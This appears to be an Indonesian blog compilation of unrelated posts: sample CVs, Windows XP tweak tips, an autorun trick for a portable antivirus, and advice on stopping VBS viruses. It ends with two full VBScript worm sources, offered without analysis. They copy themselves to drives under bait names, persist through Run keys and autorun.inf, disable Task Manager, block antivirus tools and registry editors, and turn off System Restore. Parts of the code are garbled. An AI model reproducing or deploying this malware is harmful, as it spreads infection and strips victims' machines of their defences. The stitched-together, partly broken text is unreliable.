Contoh-contoh
Daftar Riwayat Hidup
atau Resume atau Curriculum Vitae (CV) dalam Bahasa Indonesia

Di bawah ini diberikan 12 contoh Daftar Riwayat Hidup (CV) dalam Bahasa Indonesia, yang mewakili berbagai kondisi dan situasi dari pelamar maupun penerima kerja.
Semoga 12 contoh CV ini dapat membantu anda.

Contoh ke 1.
Daftar Riwayat Hidup


Data Pribadi
Nama : Florentina Putri
Jenis kelamin : Perempuan
Tempat, tanggal lahir : Probolinggo, 5 Agustus 1979
Kewarganegaraan : Indonesia
Status perkawinan : Menikah
Tinggi, berat badan : 165 cm, 53 kg
Kesehatan : Sangat Baik
Agama : Islam
Alamat lengkap : Perum Bojong Depok Baru 1, Blok ZT No.3, Cibinong 16913
Telepon, HP : 021 - 87903802, HP = 0817 9854 203
E-mail : putri.flo@gmail.com

Pendidikan
» Formal

1985 - 1991: SD Gajahmada, Probolinggo
1991 - 1994 : SMP Negeri 1, Probolinggo
1994 - 1997 : SMU Negeri 1, Probolinggo
1997 - 2001 : Program Sarjana (S-1) Akuntansi Universitas Pancasila, Jakarta

» Non Formal

1998 - 1999 : Kursus Komputer dan Internet di Puskom Gilland Ganesha, Jakarta
1999 - 2002 : Kursus Bahasa Inggris di LBA Gilland Ganesha, Jakarta
2004 - 2004 : Kursus Pajak (Brevet A & B) di FAIUP, Jakarta


Kemampuan
Kemampuan Akuntansi dan Administrasi (Journal Printing & Calculation, Ledger, Petty Cash Payroll & Calculation, Inventory Controls, Project Data Updating, Teller, Salary Caldulation).
Sistem Perpajakan.
Kemampuan Komputer (MS Word, MS Excel, MS Power Point, MS Access, MS Outlook).
Kemampuan Internet.



Pengalaman Kerja
Bekerja di PT. Flamboyan Bumi Singo, Cibinong
Periode : Agustus 2001 - Januari 2008Desember 2007
Status : Pegawai Tetap
Posisi : Staf Akuntansi dan Perpajakan


Uraian singkat pekerjaan :
- Mengontrol persediaan dan pembelian peralatan kantor.
- Turut membantu pembuatan laporan keuangan perusahaan
- Mengatur jadwal pertemuan bisnis, pertemuan internal, dan perjalanan bisnis.
- Melakukan surat-menyurat bisnis dalam Bahasa Indonesia maupun Bahasa Inggris (via internet maupun non internet).
- Melakukan perhitungan pajak perusahaan.
- Menerbitkan dan menerima faktur dari pemasok.
- Turut membantu pelatihan pegawai baru.


Cibinong, 12 Januari 200819 Desember 2007

FORMAT TTD
POSISI DITENGAH

Florentina Putri




Success
hompage:

Contoh-contoh
Curriculum Vitae (CV)
atau Resume atau Daftar Riwayat Hidup dalam Bahasa Inggris

Di bawah ini diberikan 12 contoh Curriculum Vitae (CV) dalam Bahasa Inggris, yang mewakili berbagai kondisi dan situasi dari pelamar maupun penerima kerja.
Semoga 12 contoh CV ini dapat membantu anda.

Contoh ke 1.
Curriculum Vitae


Personal Details
Full Name : Florentina Putri
Sex : Female
Place, Date of Birth : Probolinggo, August 5, 1979
Nationality : Indonesia
Marital Status : Married
Height, Weight : 165 cm, 53 kg
Health : Perfect
Religion : Moslem
Address : Perum Bojong Depok Baru 1, Blok ZT No.3, Cibinong 16913
Mobile : 0817 9854 203
Phone : 021 - 87903802
E-mail : putri.flo@gmail.com


Educational Background
1985 - 1991 : Gajahmada Elementary School, Probolinggo
1991 - 1994 : Junior High School No.1, Probolinggo
1994 - 1997 : Senior High School No.1, Probolinggo
1997 - 2001 : Accounting Department at the University of Pancasila, Jakarta



Course & Education
1998 - 1999 : Computer & Internet Course at Puskom Gilland Ganesha, Jakarta
1999 - 2002 : English Language Course at LBA Gilland Ganesha, Jakarta
2004 - 2004 : Tax Course (Brevet A & B) di FAIUP, Jakarta



Qualifications
Accounting & Administration Skills (Journal Printing & Calculation, Ledger, Petty Cash Payroll & Calculation, Inventory Controls, Project Data Updating, Teller, Salary Caldulation).
Taxation System.
Computer Literate (MS Word, MS Excel, MS Power Point, MS Access, MS Outlook).
Internet Literate.



Working Experience
Working at PT. Flamboyan Bumi Singo, Cibinong
Period : August 2001 - January 2008December 2007
Purpose : Permanently working
Position : Accounting & Taxation staff



Job's Description : Payroll Staff;
- Project's data updating;
- Business correspondences;
- Expatriates documentation filling & follow up;
- Translation;
- Appointment arrangement;
- Filling anda data updating;
- Arranged of business trip schedule;
- Meeting budget arrangement;
- Procurement filling, inventory control, and administration asistant;
- Preparing for breakdown statement for the project, preparing intern finance circular - Correspondences, and preparing for the presentation materials;
- Issuing invoice & receipt for vendor and customers;
- Inventory Controller;
- Preparation of purchase requirement and purchase order;
- Invoice & payment arrangement.




Cibinong, January 12, 2008December 19, 2007

(*FORMAT CENTER)

Florentina Putri




Success
Homepage:

Kadang memang suasana harus menjadi panas walau hanya berinteraksi dengan komputer. Saat tugas ingin segera terselesaikan, tiba-tiba harus setia menunggu lama loading komputer yang bisa dibilang agak males diajak untuk kerjasama, kalaupun dipaksakan bahkan bisa ngadat dan harus merestart ulang. Tapi jangan kuatir, berikut ini ada trik-trik sederhana untuk mengatasi problem seperti itu, untuk sedikit tidak menyesali keadaan komputer yang kurang up to date, sebelumnya saya sering mencoba trik ini pada PC lain namun tidak ada kendala apapun pada PC tersebutjadi anda bisa mencobanya….

“Jangan Pernah Takut Untuk Mencoba dari Kegagalan itu kita Bisa Menjadi Lebih Baik & Menambah Ilmu yang belum Pernah kita Dapatkan sebelumnya”

1. Meminimalisasi waktu booting
A. Lokasi Booting
Secara default, biasanya komputer akan memeriksa floopy terlebih dahulu untuk itu Rubahlah dengan masuk ke BIOS dengan menekan Del setelah perhitungan memory dilakukan. Lalu pada opsi FirtsBoot Device pilihlah harddisk di mana Anda meletakkan operating system. Misalnya “hard disk” Dengan cara ini, komputer tidak akan memakan waktu lagi mencari lokasi booting, tapi langsung ke harddisk tempat operating system disimpan.

B. Disable Komponen yang tidak dipakai
Semua perangkat yang terpasang pada komputer akan memakan waktu booting. Oleh sebab itu kurangi dengan klik kanan padaMy computer/properties/ hardware lalu klik Device Manager, kemudian pilih komponen yang tidak lagi terpakai dengan Klik kanan lalu pililih disable.

C. Kurangi Font
Jumlah font juga mempengaruhi proses booting, Pakai font yang diperlukan aja, Biar tidak hilang sebelum menghapus font anda bisa simpan dengan membuatkan folder tersendiri di partisi lain, bila suatu saat dibutuhkan anda bisa kembalikan lagi. Untuk menghapus font Caranya, masuk control panel, pilih font dan buang yang tidak dibutuhkan.

D. Hilangkan Layar Loading
Dengan menghilangkan layar loading, Anda juga dapat menghemat sedikit waktu booting. Caranya pilih menu Run pada Start menu, lalu ketikkan msconfig, tekan Ok. Setelah itu pada opsi /NOGUIBOOT berikan tanda centang. Perubahannya layar tidak menampilkan logo windows pada proses booting, hanya layar hitam.

E. Kurangi Waktu Setelah Booting
Selesai booting, komputer ada proses pengenalan jaringan. Hal ini memakan waktu, bila Anda ingin segera menggunakan komputer dan komputer tidak terhubung dengan jaringan, maka caranya adalah mematikan fitur ini dengan cara jalankan Run (tekan gambar bendera pada keyboard lalu tekan R) kemudian ketik services.msc cari Workstation klik2x pilih disabled lalu Ok.

2. Matikan Service.
Sebaiknya service-service yang tidak penting sebaiknya dimatikan untuk mempersinkat waktu StartUp caranya jalankan Run (tekan gambar bendera pada keyboard lalu tekan R) kemudian ketik msconfig pilih startup lalu chack list program yang ingin dimatikan pada saat StarUp lalu Ok

3. Matikan/disable indeks services
Indexing Services adalah sebuah program kecil tetapi mengunakan memory computer lumayan besar. Terkadang dapat menganggu computer menjadi lebih berisik atau berbunyi dalam access harddisk. Fungsi Indexing Services adalah melakukan update daftar file computer, tujuannya untuk mempercepat kinerja PC dengan sistem dari pendaftaran index file. Jika anda tidak memerlukan pencarian file terlalu sering, Indexing Services dapat dimatikan dengan :Go to Start, Click Settings, Click Control Panel, Double-click Add/Remove Programs, Click the Add/Remove Window, Components, Uncheck the Indexing services, Click Next

4. Optimisme display setting dengan menurunkan tingkat gambar.
Windows dengan tampilan desktop keren memang menarik. Tetapi terlalu banyak gambar akan memakai sumber resource system. Untuk mematikannya: masuk, Go to Start, Click Settings, Click Control Panel, Click System, Click Advanced, costume hapus centang pada pilihan berikut (Show shadows under menus,Show shadows under mouse pointer,Show translucent selection rectangle,Use drop shadows for icons labels on the desktop,Use visual styles on windows and buttons, atau terserah pada anda)
*untuk VGA OnBord dengan Memory kecil

5. Mempercepat browser folder.
Setiap kali membuka browser folder, maka tampak kelambatan atau sedikit delay. Karena Windows XP sesaat akan mencari network file dan printer sementara membuka Windows Explorer. Untuk memperbaiki anda bisa mematikan fasilitas tersebut dengan : Open My Computer, Click on Tools menu, Click on Folder Options, Click on the View tab, Uncheck the Automatically search for network folders and printers check box, Click Apply, Click Ok,

6. Mempercepat tampilan menu.
Klik start menu, pilih run, ketikkan regedit, windows registry editor akan muncul, kemudian cari HKEY_CURRENT_USER. klik tanda [+] untuk melihat submenunya. kemudian pilih control panel, lalu pilih desktop. (HKEY_CURRENT_USER [-]/= control panel [-]/desktop, Klik menushowdelay, lalu rubah valuenya dengan yang anda suka (semakin kecil angkanya semakin cepat) lalu restart computer anda.

7. Matikan System restore
System restore bisa bermanfaat jika komputer bermasalah, akan tetapi semua restore point yg disimpan bisa memakan ruangan yg cukup besar di harddisk. System restore membebani karena selalu memonitor sistem, dengan mendisable system restore maka sebagian resource bisa dialokasikan untuk hal yg lain.
Caranya ke Control Panel, Klik System, klik System Restore tab, kasih tanda centang pada 'Turn off System Restore on All Drives', kemudiam klik 'Ok'.

8. Me-non-aktifkan Microsoft System Sounds
Secara default MS sound systems membuat komputer berbunyi/bersuara ketika booting awal, shutdown, error, dll. Skenario suara windows jelas2 membuat komputer lebih lambat (terutama dalam waktu shutdown dan booting awal), untuk me-non-aktifkan silahkan ikuti langkah berikut: Buka Control Panel, Klik Sounds and Audio Devices, Klik tab Sounds, Pilih "No Sounds" dari Sound Scheme, Klik "No", Klik "Apply", Klik "OK".





9. Mempercepat Shutdown.
Tweaking ini mengurangi waktu tunggu secara otomatis ketika windows sudah menerima instruksi untuk shutdown. Caranya :

a. Start>Run, 'Regedit', 'HKEY_CURRENT_USER\Control Panel\Desktop\''WaitToKillAppTimeout', kemudian ubah Value menjadi '1000' dan Klik 'OK'.

b. Sama dengan yang pertama, Sorot di 'HungAppTimeout', Ubah value menjadi '1000' dan klik 'OK'

c. 'HKEY_USERS\.DEFAULT\Control Panel\Desktop' sorot WaitToKillAppTimeout', kemudian ubah value ke '1000', dan klik 'OK'.

d. 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contr ol\' sorot 'WaitToKillServiceTimeout' , kemudian ubah value menjadi '1000' dan Klik 'OK'

10. Membersihkan Prefetch File
untuk meningkatkan Performa Windows.
Link2 yg semakin menumpuk bisa memperlambat komputer anda secara signifikan. Delete isi directory/folder prefetch. Dengan cara masuk di jalankan Run (tekan gambar bendera pada keyboard lalu tekan R) ketik prefetch lalu delete semua file yang ada pada Prefetch.

11. Delete Iconchace.db
Icon di desktop mengunakan cache, dan ketika cache sudah menumpuk maka access dari desktop ke icon terasa sangat lambat. Yang perlu dilakukan adalah dengan mendelet Iconchace.db yg ada di directory (/Documents) dan di (Settings/Username/Local Settings/Application Data). Sebelumnya rubahlah tampilan dengan “ show hidden files” . Ketika anda mendelet, secara otomatis windows akan mengganti dengan yang baru.
Sementara ini aja dulu, yang penting sekarang sudah pasti ada perubahan pada PC anda. Jika masih jauh dari keinginan berarti PC anda perlu diupgrade. Mudah & simple kan??
*Dari buku Tweak Optimize Windows Xp.

Selamat Mencoba......

Binggung banyak firus di flashdisk ?
banyak cara untuk amanin data di dalam flashisk. yaitu dengan menambah antifirus di dalam flashdisk

ada banyak antifirus lo yang bisa di taro di flashdisk seperti misalnya: AntivirX, ClamWin yang bisa anda download di www.clamwin.com.

mau tau caranya buat antifirus di dalam flashdisk

pertama
anda perlu membuat sebuah file yang akan menjalankan software antivirus pada flash disk tersebut secara otomatis ketika flash disk di colokkan ke komputer.

Untuk itu, silahkan buka program notepad dan ketikkan baris-baris perintah sebagai berikut:

[autorun]
Open=antivirus.exe
Action=Open Anti Virus Portable!
Icoo=icon.ico
Label=Your_Name. Kemudian simpan file tersebut pada flash disk dengan nama autorun.inf. Ketika menyimpan gunakan perintah [save as] dan typenya pilih [all files].

Pada baris ke 2 file autorun.inf, yang berisi perintah Open=antivirus.exe ganti dengan nama software antivirus yang tersimpan pada flash disk. Misalkan anda menggunakan clamwin.exe maka ganti antivirus.exe dengan clamwin.exe. Apabila file clamwin.exe tersebut tersimpan pada sebuah directory di flash disk, misalkan directory-nya adalah antivirus maka perintahnya menjadi "Open=antivirus\clamwin.exe".

File autorun.inf ini sebaiknya disimpan dengan perintah "read only" agar hanya bisa dibaca dan tidak bisa diubah-ubah. Untuk menjadikan file tersebut read only caranya, klik kanan pada file autorun.inf kemudian pilih [properties]. Di bagian attributes kasih tanda centang pada [Read Only].
Cara menggunakan antivirus portable tersebut sebagai berikut:

1. Colok flash disk ke komputer.
Note: Jangan langsung membuka flash disk pada komputer agar virus tidak masuk ke flash disk atau sebaliknya.

2. Setelah flash disk tertancap di komputer, jalankan fungsi autorun dengan cara mengklik [ok] ketika kotak dialog box muncul pada komputer, dan antivirus portable itupun akan berjalan.

3. Software antivirus tersebut akan men-scan komputer. Tentu saja ini akan memakan waktu yang cukup lama apabila terdapat banyak file pada komputer tersebut.

4. Jika komputer tersebut ada virusnya, segera bersihkan. Atau cabut saja flash disk anda karena komputer tersebut jelas ada virusnya.

Virus VBS atau yang lebih dikenal dengan “visual basic script” ini udah tidak asing lagi karna dapat ditulis dengan program yang sangat sederhana seperti menggunakan “notepad”, namun akibat yang dihasilkan virus ini “lumayan luaRrrRr biasa”, jadi kita harus mencegah Virus vbs agar tidak berkembang di computer kita, cara ini untuk mencegahnya aja.

Nah tenang aja ada triknya kok yang dapat mencegah virus.vbs ini tidak berkembang biak dikomputer kita, perhatikan langkah dibawah ini:

1. Buka My Computer - Tools - Folder options
2. Lalu Klik File Types, scroll kebawah, cari Extensi “VBS“
3. Ubah default program yang digunakan untuk membuka file .vbs dengan mengklik tombol “change“
4. Kita akan melihat bahwa program yg direkomendasikan untuk membuka file .vbs adalah “Microsoft (r) Windows Based Script Host”, ubah hal tersebut, scroll sedikit ke bawah, cari “notepad” dan klik OK

Dengan mengubah settingan diatas, setiap kali kita mengklik/membuka file berextensi .vbs, script virus yang ditulis didalam file .vbs tidak akan langsung dijalankan, melainkan akan ditampilkan oleh notepad, sebelumnya kita bisa menganalisa apa fungsi dari source code dari file .vbs tersebut apakah ini virus atau tidak, Dan tentunya file tersebut tidak akan menginfeksi komputer kita………

Ada lagi Loh cara yang lebih Extreme adalah dengan menghapus Asosiasi file.vbs, caranya sama seperti diatas, hanya saja saat kita menemukan asosiasi file .vbs bukan kita ubah asosiasinya dengan mengklik tombol change, tetapi dengan mengklik tombol “delete”, dengan begitu setiap kali kita mengklik file .vbs, akan muncul kotak “open with” untuk memilih program yang akan dipakai untuk membuka file .vbs tersebut tapi anda bisa mimilih notepad untuk melihat/ mengubah source code dari vbs tersebut…
*CATATAN*

Untuk cara yang Extreme itu sangat fatal karana dengan kita mendelete asosiasinya, kita tidak bisa menjalankan file yang berextensi vbs pada komputer kita karna untuk menjalankan vbs tersebut kita membutuhkan asosiasi VBS, waktu itu saya pernah mencoba cara extreme tersebut tapi pas saya ingin menjalankan file .vbs tidak mau jalan (hikshiks sedihnya) lalu saya mencoba mengembalikan file asosiasi “VBS” tersebut biar file yang berextensi vbs bisa kita jalankan kembli tanpa perlu menggunakan “Notepad” lagi , maksudnya normal lagi gitu sebelum menggunakan trik diatas, tapi tenang aja saya udah memcobanya untuk mengembalikan asosiasi VBS secara Default lagi, ini langkahnya:

1. Buka My Computer - Tools - Folder options
2. Klik New setelah itu isi file extension dengan nama “VBS”
3. Klik Advanced-untuk asosiasi type file kita pilih “VBSript” Script File - klik OK
4. Maka kita telah selesai membuat asosiasi VBS seperti semula (default)
5. Kita ganti dulu untuk membukanya klik change – pilih “Microsoft (r) Windows Based Script Host” – klik OK – Close.

Semoga Artikel ini bermafaat

Private Sub Main()
On Error Resume Next
Dim Rumah As Variant
Dim FolderSYSTEM As Object
Set Rumah = CreateObject("scripting.filesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)

App.TaskVisible = False
App.Title = "WINLOGIN"

FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\CML.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\mandala.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\user.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\mercury.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\NOTEPED.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\REGEDUT.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\USERINOT.vbs"
SD
IE
Buat
End Sub

Sub SD()
On Error Resume Next
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte


For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"

On Error Resume Next
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Dewi persik esek esek.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Dewi portuna lagi mandi.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Dewa dewi cari cinta.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "buka aku tanggung sendiri.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Sex masal artis indonesia.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "BCL diperkosa.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "JuPe bugil + esek esek.vbs"


Next

End Sub

Sub IE()
On Error Resume Next
Dim Paray
Set Paray = CreateObject("Wscript.Shell")
Paray.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Infected by TLABS VBS Virus Generator"
Paray.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Salam kenal buat para virus maker indonesia"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\CML.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\mandala.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\user.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\mercury.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\REGEDUT.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\USERINOT.vbs"
Paray.RegWrite “HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr”, “1, “REG_DWORD”
Paray.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\StartPage", "c:\windows\system32\Myheart.txt"
End Sub

Sub Buat()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileADSW = fso.CreateTextFile("c:\windows\system32\Myheart.txt")
fileADSW.WriteLine ("Dear: Mandala Putra Dwi Admaja")
fileADSW.WriteLine ("Kau tak tahu perasaanku sesungguhnya, ya kan....")
fileADSW.WriteLine ("Seberapa besar cintaku padamu ... sampai ga bisa masuk ke hatiku yang kecil ini lho...")
fileADSW.WriteLine ("Seberapa dalam hatiku, aku aja ga tau....")
fileADSW.WriteLine ("Tetaplah kau seperti itu")
fileADSW.WriteLine ("Tetaplah kau senyum padaku, SEMANGAT ^_^")
fileADSW.WriteLine ("Setiap senyum berarti IBADAH pagiMU")
fileADSW.WriteLine ("Membuat diriku slalu mencintaimu selamanya")
fileADSW.WriteLine ("Setiap saat"setiap waktu)
fileADSW.WriteLine ("Senyummu membayangi dalam tidurku")
fileADSW.WriteLine ("Andai ku bisa memilikimu")
fileADSW.WriteLine ("from: MERCURY")
End Sub

On error resume next

Dim dini,jatiya,i,loph,you,mf,isi,tf,vhck3d,nt,check,sd



'Siapkan isi autorun atau bahasa kerennya make the autorun

Isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe vhck3d.vbs"

Set you = createobject("scripting.filesystemobject")

Set mf = you.getfile(wscript.scriptfullname)

Dim text,size

Size = mf.size

Check = mf.drive.drivetype

Set text = mf.openastextstream(1,-2)

Do while not text.atendofstream

Dini = dini & text.readline

Dini = dini & vbcrlf

Loop

Do



'Buat file induk bahasa coolnya prepare the mother

Set i = you.getspecialfolder(0)

Set jatiya = you.getspecialfolder(1)

Set tf = you.getfile(jatiya & "\hck3d.vbs")

Tf.attributes = 32

Set tf = you.createtextfile(jatiya & "\hck3d.vbs",2,true)

Tf.write dini

Tf.close

Set tf = you.getfile(jatiya & "\hck3d.vbs")

Tf.attributes = 39



'Sebar ke removable disc ditambahkan dengan autorun.inf ini saya mah gak tau bahasa inggrisnya

For each loph in you.drives



If (loph.drivetype = 1 or loph.drivetype = 2) and loph.path <> "a:" then



Set tf=you.getfile(loph.path &"\vhck3d.sys.vbs")

Tf.attributes =32

Set tf=you.createtextfile(loph.path &"\vhck3d.vbs",2,true)

Tf.write dini

Tf.close

Set tf=you.getfile(loph.path &"\vhck3d.vbs")

Tf.attributes = 39



Set tf =you.getfile(loph.path &"\autorun.inf")

Tf.attributes = 32

Set tf=you.createtextfile(loph.path &"\autorun.inf",2,true)

Tf.write isi

Tf.close

Set tf = you.getfile(loph.path &"\autorun.inf")

Tf.attributes=39

End if

Next



'Manipulasi registry

Set vhck3d = createobject("wscript.shell")



'Banyak yang dirubah..liat ndiri deh aaah



Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\msconfig.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\regedit.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\regedt32.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\registryeditor.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\setup.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\avscan.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\avcenter.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\ashavast.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\ansav.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\viremoval.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\viremover.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\pcmav-cln.exe.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows\currentversion\winlogon\legalnoticecaption", "my loph dini"

Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows\installer\limitsystemrestorecheckpointing", "1", "reg_dword"

Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows\installer\disablemsi", "1", "reg_dword"

Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows nt\systemrestore\disablesr", "1", "reg_dword"

Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows nt\systemrestore\disableconfig", "1", "reg_dword"



If check <> 1 then

Wscript.sleep 200000

End if

Loop while check <> 1

Set sd = createobject("wscript.shell")

Sd.run i & "\explorer.exe /e,/select, " & wscript.scriptfullname